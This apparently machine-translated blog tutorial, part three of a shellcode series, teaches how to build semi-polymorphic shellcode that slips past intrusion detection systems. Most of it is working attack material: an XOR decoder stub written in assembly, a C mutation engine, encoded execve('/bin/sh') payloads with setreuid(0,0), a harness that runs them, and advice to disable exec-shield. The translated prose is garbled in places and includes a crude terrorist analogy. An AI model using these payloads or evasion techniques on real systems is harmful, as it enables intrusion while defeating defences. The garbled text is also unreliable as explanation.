,
Headlines News :
Home » , » Learn To Make Shellcode (III): Semi-Polymorphic Shellcode

Learn To Make Shellcode (III): Semi-Polymorphic Shellcode

Written By Nanda Journey on Senin, 21 Januari 2013 | 21.22

Before I apologize first because absent long enough to write on this blog. I last wrote about the making of shellcode, for local as well as remote exploit. This time I'm supposed to be writing about how to wear the shellcode exploit, but there is one thing that is interesting to be written before entering into a discussion of the exploit, i.e. semi-polymorphic shellcode. Later on in the next article I'll discuss true-polymorphic shellcode.

What is a Polymorphic Shellcode

In many forms of polymorphic language meaning. Polymorphic shellcode is shellcode which has many forms. From one parent the same shellcode can be born a lot different in the shellcode level bits, meaning when viewed bit per bit all shellcode are different, even though the total all come from a single parent.


Polymorphic shellcode is needed to get away from the detection of Intrusion Detection/Prevention System. IDS/IPS checked out data packets that pass through. When the package contains data that is considered dangerous, the security guard will emit an alarm or prevent the package through.

Note the following illustrationsi.
Bush called terrorists (not his real name), had previously managed to blow up targets and killed thousands of infants in Iraq, but now his picture is already known to all people so that he could no longer do the next attack.

So that the next attacks in full swing, Bush must change his face with plastic surgery, grow a mustache, hair etc. With a different face total, then the police will not recognize Bush, and Bush could attack smoothly.

In every his attack Bush must change his face so different from her face on the attacks before.
.
That's an illustration of polymorphic shellcode, as a shellcode has never been worn and signaturenya (characteristics) are already on the blacklist by IDS/IPS, then the shellcode has already reduced its effectiveness. When the same shellcode is used again, then the IDS/IPS will easily detect and prevent the attack.

To deceive the IDS/IPS then shellcode exploit used in before having to undergo mutations that alter his physical form without changing its functionality. Remember the shellcode is a collection of bytes that represents the opcode instructions assembly/machine language. Polymorphic shellcode means that assembly instructions can be turned into many kinds but does not alter the main function and the end result.

Lho kok can? It's easy, for example, imagine that the main algorithm is the formula A + B * 2. We could have mutations that formula right into many forms:
  • B*2+A
  • B+B+A
  • B+1+B+A-1
  • B*2+B*3+A-B*2-B
All the above mutations produce exactly the same end result, although formulated much different. IDS/IPS only parses the blacklist "A + B * 2″ will not assume the package contains" B + B + A "or" B + B + A + 1 – 1″ as a package is dangerous because there is no blacklistnya in the dictionary, but everything is the same only the shape is different.


The picture above is a software to change the shape of the face by changing the shape of the eyes, eyebrows, hair, moustache etc. All shellcode can generate mutations in new shellcode that is different but still with the same functionality using the script "Mutation Engine". This Mutation engine imaginable is similar to the above image, a piece of software that have facilities for changing the shape of the eyes, eyebrows, mustache, nose to create new faces are different. But of course mutation mutation engine do automatically, without having to wait for input/click from the user.

Spring Of Polymorphic Shellcode

I'll start by creating a shellcode is semi polymorphic. Spring here means shellcode that produced not a total different results between mutation of a shellcode. There are still consecutive bytes, a byte sequence which can be used as hallmark (signature) of the shellcode.

All polymorphic shellcode is created by using the technique of encoding/decoding procedure is placed at the beginning of the shellcode the decoder, the difference is only in spring, the relative decoder polymorphic static procedure, did not participate, including mutations. While in true polymorphic shellcode, routine procedures/decodernya termutasi also making it more difficult to detect IDS/IPS.

The algorithm encode/decode used is not complicated, just use a logic operation XOR. The nature of the logical XOR is reversible, if some number on XOR twice with the same key, then it will produce its initial value.

Example:

11001 (25) XOR 11100 (28) = 00101 (5) XOR 11100 (28) = 11001 (25)

Why the necessary decoder? Remember the shellcode is a collection of machine language opcode byte, so if the encoded shellcode then byte opcode opcode to be different or be an unknown opcode. processors The Decoder is responsible to return the bytes shellcode that ter-encode becomes normal again so that it can be called and executed, the processor.

For example, when the \xCD\x80 opcode byte contains shellcode which is known as a processor interrupt No. 80 hexa. In the process of mutation, opcode CD80 encoded with XOR 5 into \xC8\x85 which is not known to the processor (not a valid instruction). In order for the shellcode can be executed then the decoder should return back to normal \xC8\x85 be \xCD\x80.
 
The picture above shows the process of mutation of the original shellcode into the shellcode has been termutasi. Mutation engine over using a single decoder that generates a lot of shellcode according to the key that is used. This Key is used to encode and decode logic operation using XOR. Each mutation results shellcode engine consists of a decoder at the beginning of the shellcode and ter-encode.

Avoid The Forbidden Characters

Generally the shellcode in-injection through the program input as a string data type. Internally the string is an array of character that terminated with a NULL character (' \ 0 °). There can be no NULL bytes in the shellcode because the shellcode can make fail on injection in full. A NULL Byte is one of the so-called ' bad ' characters, i.e. characters are forbidden in the shellcode.

Bad characters can be different, depending on the application that you want to exploit. When in such applications, the existence of new line character (\n) and enter (\r) to make shellcode failed terinjeksi it perfectly, then the character it not to exist in the shellcode.

But sometimes it is difficult to avoid the existence of forbidden characters in the shellcode. This shellcode encoding techniques can also be used to remove the illegal character. So this technique is not only useful to avoid getting caught IDS/IPS but also helps avoid the forbidden characters.

JMP/CALL GetPC

The first instruction executed is a decoder. This Decoder is responsible to perform operator XOR decodes by using the same key at the time of encoding. The problem is this shellcode could be loaded in any memory address, so can not on location in early harcode routine decoder. The Decoder must know at the time it was executed (run-time), where the location of the memory storage of shellcode ter-encode.

Technique of locating her memory when the executable is called with GETPC (get the program counter/EIP). Commonly used trick is to use the JMP instruction and CALL. The Decoder will JMP to a location just above (before) the shellcode ter-encode. At that location there is a CALL instruction to the location after the JUMP instruction. CALL will help push into the stack return address, i.e. memory address of the instruction after the CALL. Because of the location of shellcode ter-encode right after the CALL instruction, then in the top of the stack shall contain a memory address (EIP/PC) ter shellcode encoding.

Unlike a CALL instruction is generally followed by RET, in this trick we don't need instruction RET because we're not really calling the subroutine. The CALL instruction is used to take the EIP/PC from the instruction after the CALL.
 
The picture above shows a Groove JMP/CALL to get memory location shellcode ter-encode. First of all decoders to the JMP will point1, that there is no CALL instruction to point2. Just below CALL point2 is memory location where the shellcode ter-encodes are located. So when the CALL was executed will be at the encoded_shellcode location-push into a stack as a return address of the CALL instruction. On point2, there are instructions POP ESI mengambl meaning is the return address instruction CALL on point1, i.e. memory location shellcode ter-encode.

Assembly Decoder

We just go create assembly code that performs the logical XOR operation with the decoding. We utilize GETPC JMP/CALL flow like in the picture above

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
global _start
 
_start:
jmp short point1
 
point2:
pop esi ; ESI = as the index location of the byte to decode
xor ecx,ecx ; ECX = 0
mov cl,0x0 ; ECX = shellcode size
 
decode_sc:
xor byte[esi],0x0 ; XOR 1 byte of memory at location appointed by ESI
inc esi ; ESI forward 1 byte, decode the next byte
loop decode_sc ; The Loop as much as ECX (size of the shellcode)
jmp short encoded_sc ; decode selesai, jump and execute shellcode!
 
point1:
call point2 ; call, push address of encoded_sc ke stack
encoded_sc: ; encoded shellcode di sini
The process of decoding the above done by performing XOR in loop starting from the location encoded_sc (stored in the ESI) as much as the size of the encoded shellcode (stored in ECX). Formerly the location of encoded_sc is known to do the trick JMP/CALL GETPC and encoded_sc locations is stored in the register of ESI. After the loop is finished, the shellcode has been back to normal and ready to be executed. So after the loop, there are instructions JUMP to the location of encoded_sc.

We will now take opcodenya with how to compile, link and do the objdump.

$ nasm -f elf decoderjmpcall.asm
$ ld -o decoderjmpcall decoderjmpcall.o
$ objdump -d ./decoderjmpcall
 
./decoderjmpcall:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       eb 0d                   jmp    804806f <point1>
 
08048062 <point2>:
 8048062:       5e                      pop    %esi
 8048063:       31 c9                   xor    %ecx,%ecx
 8048065:       b1 00                   mov    $0x0,%cl
 
08048067 <decode_sc>:
 8048067:       80 36 00                xorb   $0x0,(%esi)
 804806a:       46                      inc    %esi
 804806b:       e2 fa                   loop   8048067 <decode_sc>
 804806d:       eb 05                   jmp    8048074 <encoded_sc>
 
0804806f <point1>:
 804806f:       e8 ee ff ff ff          call   8048062 <point2>
 
A little description of the opcode on top to add to the knowledge of the assembly. At the beginning there is a JMP instruction "point1". Opcode for JMP is 0xEB. Note the point1 is 1 bytes after this instruction, therefore opcodenya is "0x0D 0xEB", meaning a Jump as far as hex 0x0D (13) byte after this instruction.
As an illustration of the objdump output note above, instruction "JMP point1" exists in the memory location 0 × 8048060, and we know the instruction "JMP point1" space-consuming 2 byte (0xEB and 0x0D), then the purpose of inoperative ripcord intended is 0 × 8048060 + 2 + 1 = 0x804806f. Again remember, dihitungnya from the location after the JMP instruction, that is 0 × 8048062. Then calculated 0x0D (13 bytes) from location 0 × 8048062 be 0x804806f.

While in point1, point2 CALL instructions "exist" which takes up the space of 5 bytes (0xFF 0xFF 0xFF 0xEE 0xE8). opcode 0xE8 is to CALL, while the 0xFF 0xFF 0xFF 0xEE in little-endian notation is 0xFFFFFFEE which is a representation of the number of signed integers.

Why would kok away-18? Note again the output of objdump on the top. Remember, similar to the distance of the jump JMP site after the CALL instruction. The location of memory after the CALL instruction "point2" is 0x804806f + 5 = 0 × 8048074. If we calculate the 18 bytes before the 0 × 8048074, then we get the location 0 × 8048062, which is none other than the location of point2.

Now we extract the opcodenya and write it in the notation shellcode DataReader.
$ objdump -d ./decoderjmpcall|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut
-f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s
|sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff
\xff"





In the picture above look opcode of the decoder will we wear. Note There are two blue byte, i.e. the size of the shellcode in the 6th index and key XOR on the index. Later only two bytes that are changed in each mutation shellcode, byte addition is always the same, therefore we do not say true-but it is only semi-polymorphic polymorphic.

Encoder: Mutation Engine

Now once we have opcode decoder, we can start making mutation engine, which is the script that does the encoding and generate encoded shellcode. We make in the C language, and as a shellcode, we use the parent we wear in a local exploit in the article "learning to make shellcode part 1".

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <sys/time.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int getnumber(int quo) { 
 int seed;
 struct timeval tm;
 gettimeofday( &tm, NULL );
 seed = tm.tv_sec + tm.tv_usec;
 srandom( seed );
 return (random() % quo);
}
 
void print_code(char *data) { 
 int i,l=0;
 for (i = 0; i < strlen(data); ++i) {
  if (l==0) {
   printf("\"");
  }
  if (l >= 15) {
    printf("\"\n\"");
    l = 0;
  }
  printf("\\x%02x", ((unsigned char *)data)[i]);
  ++l;
 }
 printf("\";\n\n");
}
 
int main() { 
 char shellcode[] =
  "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0"
  "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
  "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
 int count;
 int number = getnumber(200); 
 int badchar = 0; 
 int ldecoder; 
 int lshellcode = strlen(shellcode); 
 char *result;
 
 char decoder[] = 
  "\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa"
  "\xeb\x05\xe8\xee\xff\xff\xff";
 decoder[6] += lshellcode; 
 decoder[9] += number; 
 ldecoder = strlen(decoder); 
 
 do { 
  if(badchar == 1) { 
   number = getnumber(10);
   decoder[16] += number;
   badchar = 0;
  } 
  for(count=0; count < lshellcode; count++) { 
   shellcode[count] = shellcode[count] ^ number; 
   if(shellcode[count] == '\0') { 
    badchar = 1; 
   }
  }
 } while(badchar == 1); 
 result = malloc(lshellcode + ldecoder);
 strcpy(result,decoder); 
 strcat(result,shellcode); 
 
 printf("Key: %02x\n",number);
 print_code(result); 
}

$ ./encoder
Key: 29
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x29\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x18\xe9\x99\x6f\x18\xf2\x18\xe0\xe4\xa9"
"\x18\xe9\x79\x41\x06\x06\x5a\x41\x41\x06\x4b\x40\x47\xa0\xca"
"\x79\x7a\xa0\xc8\x18\xfb\x99\x22\xe4\xa9";
$ ./encoder
Key: 1a
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a"
"\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9"
"\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a";
$ ./encoder
Key: 45
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x45\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x74\x85\xf5\x03\x74\x9e\x74\x8c\x88\xc5"
"\x74\x85\x15\x2d\x6a\x6a\x36\x2d\x2d\x6a\x27\x2c\x2b\xcc\xa6"
"\x15\x16\xcc\xa4\x74\x97\xf5\x4e\x88\xc5";



In the picture above, the mutation engine produces 3 mutant with 3 keys i.e. 29h, 1Ah, 45h. At the decoder, there is almost no difference, which differ only in the byte storing the key XOR and the shellcode size.

XOR key stored in the decoder on the opcode "\x80\x36\x00", which means "assembly instructions" xor byte [esi], 0 × 0″. If \x00 on opcode "\x80\x36\x00" was changed to x29, then it means we also modify instruction assemblynya be "xor byte [esi], 0 × 29.3″. Similarly, if we replace with \x1A and \x45.

Opcode "\xb1\x23" on the decoder is the shellcode size, which in the assembly means "mov cl, 0 × 23". We happened to be in the program wearing shellcode measuring 35 byte (23 h). When shellcode that used its size is 50 bytes, then the mutation engine will change into a "\xb1\x32" which in assembly means "mov cl, 0 × 32.3″.

As for the encoded shellcode that is colored purple, from three times running, the mutation engine produces 3 encoded shellcode that much different, this is what is known as a polymorphic. But of course because of the static decodernya, the result is not true-polymorphic, but enough we call spring-polymorphic.
 
Now we try to execute shellcode mutation results with key 1Ah above. I am going to use a small program in C language below.


1
2
3
4
5
6
7
8
char shellcode[] =
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a"
"\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9"
"\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a";
int main(void) {
        asm("jmp shellcode");
}

We'll debug with GDB to see in memory of what happened before and after the decoder is executed.
Don't forget to turn off the first exec-shield by: echo "0" >/proc/sys/kernel/exec-shield. When you use the kernel-PAE then the shellcode can not be executed because the kernel-PAE NX bit feature there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ gcc -o execsc execsc.c
$ gdb ./execsc
(gdb) set disassembly-flavor intel
(gdb) x/25i &shellcode
0x8049540 <shellcode>:  jmp    0x804954f <shellcode+15>
0x8049542 <shellcode+2>:        pop    esi
0x8049543 <shellcode+3>:        xor    ecx,ecx
0x8049545 <shellcode+5>:        mov    cl,0x23
0x8049547 <shellcode+7>:        xor    BYTE PTR [esi],0x1a
0x804954a <shellcode+10>:       inc    esi
0x804954b <shellcode+11>:       loop   0x8049547 <shellcode+7>
0x804954d <shellcode+13>:       jmp    0x8049554 <shellcode+20>
0x804954f <shellcode+15>:       call   0x8049542 <shellcode+2>
0x8049554 <shellcode+20>:       sub    ebx,edx
0x8049556 <shellcode+22>:       stos   BYTE PTR es:[edi],al
0x8049557 <shellcode+23>:       pop    esp
0x8049558 <shellcode+24>:       sub    eax,ecx
0x804955a <shellcode+26>:       sub    edx,ebx
0x804955c <shellcode+28>:       xlat   BYTE PTR ds:[ebx]
0x804955d <shellcode+29>:       call   0x3535:0x724ada2b
0x8049564 <shellcode+36>:       imul   esi,DWORD PTR [edx+114],0x74737835
0x804956b <shellcode+43>:       xchg   ebx,eax
0x804956c <shellcode+44>:       stc
0x804956d <shellcode+45>:       dec    edx
0x804956e <shellcode+46>:       dec    ecx
0x804956f <shellcode+47>:       xchg   ebx,eax
0x8049570 <shellcode+48>:       sti
0x8049571 <shellcode+49>:       sub    ecx,eax
0x8049573 <shellcode+51>:       stos   BYTE PTR es:[edi],al
(gdb) b *0x804954d
Breakpoint 4 at 0x804954d
The above is a result of disassembly of the shellcode the decoder before running. Instructions instruction instead of the original shellcode. Now we try to run and view assembly instructions decodingnya results.

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) run
Starting program: /home/admin/overflow/execsc
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
 
Breakpoint 4, 0x0804954d in shellcode ()
(gdb) x/25i &shellcode
0x8049540 <shellcode>:  jmp    0x804954f <shellcode+15>
0x8049542 <shellcode+2>:        pop    esi
0x8049543 <shellcode+3>:        xor    ecx,ecx
0x8049545 <shellcode+5>:        mov    cl,0x23
0x8049547 <shellcode+7>:        xor    BYTE PTR [esi],0x1a
0x804954a <shellcode+10>:       inc    esi
0x804954b <shellcode+11>:       loop   0x8049547 <shellcode+7>
0x804954d <shellcode+13>:       jmp    0x8049554 <shellcode+20>
0x804954f <shellcode+15>:       call   0x8049542 <shellcode+2>
0x8049554 <shellcode+20>:       xor    eax,eax
0x8049556 <shellcode+22>:       mov    al,0x46
0x8049558 <shellcode+24>:       xor    ebx,ebx
0x804955a <shellcode+26>:       xor    ecx,ecx
0x804955c <shellcode+28>:       int    0x80
0x804955e <shellcode+30>:       xor    eax,eax
0x8049560 <shellcode+32>:       push   eax
0x8049561 <shellcode+33>:       push   0x68732f2f
0x8049566 <shellcode+38>:       push   0x6e69622f
0x804956b <shellcode+43>:       mov    ebx,esp
0x804956d <shellcode+45>:       push   eax
0x804956e <shellcode+46>:       push   ebx
0x804956f <shellcode+47>:       mov    ecx,esp
0x8049571 <shellcode+49>:       xor    edx,edx
0x8049573 <shellcode+51>:       mov    al,0xb
0x8049575 <shellcode+53>:       int    0x80
Because we want to see the results of decodingnya, then we place a breakpoint on the shellcode + 13 (0x804954d). At that point there are instructions "jmp 0 × 8049554", i.e. the instruction to execute shellcode has been in decode. After a breakpoint is installed, we can run the program with the run. When the breakpoint is reached, we can see the results at decodingnya location of shellcode + 20 to + 53 shellcode.

For example note on shellcode + 20, instructions prior to decode is "sub edx, ebx", an instruction that is not instruction originial shellcode. But after decoding is done at that location to be "xor eax, eax" instruction which is the original shellcode. Another example, at the location of shellcode + 28 prior to decode the instructions are "xlat BYTE PTR ds: [ebx]", however after decode back to normal to be "int 0 × 80.3″.

The table below shows some differences between assembly instructions from the original assembly instructions with the shellcode has been ter-encode. The column "Before Decoding the shellcode" assembly is already encoded, while the columns "After Decoding the shellcode assembly" shows the original after the decoder is finished work.
shellcode yang original setelah decoder selesai bekerja.
Address Before Decoding After Decoding
shellcode+20 sub ebx,edx xor eax,eax
shellcode+22 stos BYTE PTR es:[edi],al mov al,0×46
shellcode+28 xlat BYTE PTR ds:[ebx] int 0×80
shellcode+46 dec ecx push ebx
Okay, until here used to be semi-discussion of polymorphic shellcode, see you again on the next article about true-polymorphic shellcode.








Read the continuation :
  1. Learn To Make Shellcode (I): Local Exploit Shellcode
  2. Learn To Make Shellcode (II): Remote Exploit Shellcode
  3. Learn To Make Shellcode (III): Semi-Polymorphic Shellcode

THANKS TO : ILMU HACKING
Anda sedang membaca artikel tentang Learn To Make Shellcode (III): Semi-Polymorphic Shellcode dan anda bisa menemukan artikel Learn To Make Shellcode (III): Semi-Polymorphic Shellcode ini dengan url http://hy-hack.blogspot.com/2013/01/learn-to-make-shellcode-iii-semi.html,Dilarang menduplikat artikel ini Learn To Make Shellcode (III): Semi-Polymorphic Shellcode jika sangat bermanfaat hanya boleh sebagai artikel refrensi atau harus mengulas nya dengan bahasa / kalimat yang berbeda dan memberi link ini : Learn To Make Shellcode (III): Semi-Polymorphic Shellcode


Artikel Terkait:

Share this post :

+ komentar + 4 komentar

Poskan Komentar

Blog Dofolow , Tapi Tolong jangan nyepam dan ada kata kata yang tidak baik

 
Support : Abaut Us | Contact Us | Privacy Policy | Term of Use | Redaksi | Advertise | Lowongan Kerja | Forum | Tabloit | Mobile Version | Hy Hack Toolbar
Copyright © 2011. HY hack - All Rights Reserved Template Created by Heykhend
Published by Heykhend Corp. Developed by PT Heykhend Publik Media (HPM)